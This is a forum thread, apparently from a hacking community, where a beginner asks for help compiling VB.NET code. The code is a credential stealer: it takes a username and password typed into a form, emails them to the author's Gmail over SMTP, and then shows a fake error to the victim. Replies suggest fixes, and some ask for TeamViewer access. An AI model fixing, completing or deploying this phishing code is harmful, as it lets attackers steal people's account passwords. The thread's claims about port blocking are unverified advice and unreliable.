PM me your teamviewer Info, I will see if I can do anything
When i try to compile this it says structe not found help? im new as you can tell but i know i have the potential xD
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Missing")
Else
End If
End if
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Your Gmail")
mail.To.Add("Your Gmail")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
smtpServer.Send(mail)
MsgBox("Any Error You Want Here")
PM me your teamviewer Info, I will see if I can do anything
this spot prob has the wrong place or port
or you need to import something on top of your code that u didntCode:smtpServer.Port = 587 smtpServer.Host = "smtp.gmail.com" smtpServer.EnableSsl = True
[IMG]https://i304.photobucke*****m/albums/nn168/guza44/sig-1.png[/IMG]
Just to point this out (again)
You are behind an ISP that no longer allows SMTP traffic in the form of relay's
Port 587 is now blocked , thats an example code thats a few years old.
Even if you get it to run, it won't be functional.